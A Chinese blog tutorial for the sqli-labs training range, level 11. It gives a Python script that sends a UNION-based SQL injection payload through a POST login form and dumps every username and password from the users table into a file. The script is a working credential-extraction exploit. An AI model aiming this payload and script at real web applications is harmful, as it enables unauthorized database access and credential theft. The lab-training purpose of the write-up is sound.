当前位置：首页 > article >正文

sqli-labs靶场自动化利用工具——第11关

article 2024/9/19 20:05:04

文章目录

概要
整体架构流程
技术细节
执行效果
小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生，或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢？可能有些人会说不是有sqlmap，那我们又何须使用这个小脚本呢？这里我统一回答，sqlmap只是一个工具，工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的，他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题，所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习，学习网安路还是不能投机取巧的。

本章适合人群：

网安专业学生
报班学习网安内容的同学
提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第11关，且我觉得名字很是麻烦，所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页，之后将得到的数据记录在和py文件同一级的目录下面。

第11关使用的单引号注入，且和第一关很像。

不同点只是第一关是get请求，第11关是post请求。

技术细节

import requests
import re
import os
print("当前工作目录:", os.getcwd())

# 全局变量
url = 'http://sql:8081/Less-11/'
headers = {
    'Host': 'sql:8081',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '131',  # 根据data参数的长度进行修改
    'Origin': 'http://sql:8081',
    'Connection': 'close',
    'Referer': 'http://sql:8081/Less-11/',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=0, i'
}

data = {
    'uname': "-1' union select 1,(select group_concat(username,0x3a,password) from users)-- -",
    'passwd': 'password'
}

response = requests.post(url, headers=headers, data=data, verify=False)
html_content = response.text
pattern = r'Your Password:(.*?)<br>'
matches = re.search(pattern, html_content)

if matches:
    passwords = matches.group(1)
    pairs = passwords.split(',')  # 使用逗号分隔用户名和密码的组合
    file_path = os.path.join(os.getcwd(), 'data.txt')

    with open(file_path, 'w') as f:
        for pair in pairs:
            # 分割用户名和密码
            username, password = pair.split(':')
            # 写入用户名和密码到文件
            f.write(f'{username.strip()}, {password.strip()}\n')

    print('Data have been extracted and saved to data.txt.')
else:
    print("No match found")